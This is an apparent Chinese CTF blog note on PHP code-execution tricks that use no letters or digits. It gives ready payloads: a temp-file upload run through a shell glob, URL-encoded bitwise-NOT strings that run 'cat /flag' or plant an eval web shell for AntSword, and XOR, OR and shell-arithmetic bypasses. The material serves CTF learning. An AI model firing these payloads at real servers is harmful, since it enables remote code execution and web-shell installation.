无字母数字RCE

1.post文件 (php5+shell)


我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。

(可以通过linux的匹配符去匹配) 我们多上传几次就可以达到shell的目的

 

首先构造一个post文件上传的html文件 (url需要更改)

任意上传一个文件后抓包

修改

post一个 ?c=.+/???/????????[@-[]

[@-[]是linux下面的匹配符,是进行匹配的大写字母

加入

#!/bin/sh

ls

 

(2):取反绕过

对两个命令执行urlencode编码 后在进行拼接

eg:?code=(~%8C%86%8C%8B%9A%92)(~%D7%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8%D6);
代码:urlencode(~a) 得到后在进行一次取反 适用于未过滤~

可以执行cat /flag

也可以执行 assert  (eval($POST[a]))

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
后用Antsword连接即可

https://blog.csdn.net/scrawman/article/details/119055285?ops_request_misc=%7B%22request%5Fid%22%3A%22170927379316800188550169%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=170927379316800188550169&biz_id=0&spm=1018.2226.3001.4187

可参考该博客

 

(3)异或

利用异或脚本

适用于未过滤^

 

(4)或

与异或类似

适用于未过滤|

 

(5)自增

echo $(( ~$(( $((~$(()))) $((~$(()))) )) ))

输出此结果得到1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

$(( ~$(($((~$(()))) $((~$(()))) $((~$(()))) $((~$(())))$((~$(()))) )) ))

构造数字可以使用此方法 5个 -1 叠加取反 就是4 以此类推

 

posted @   Heck1ng  阅读(97)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示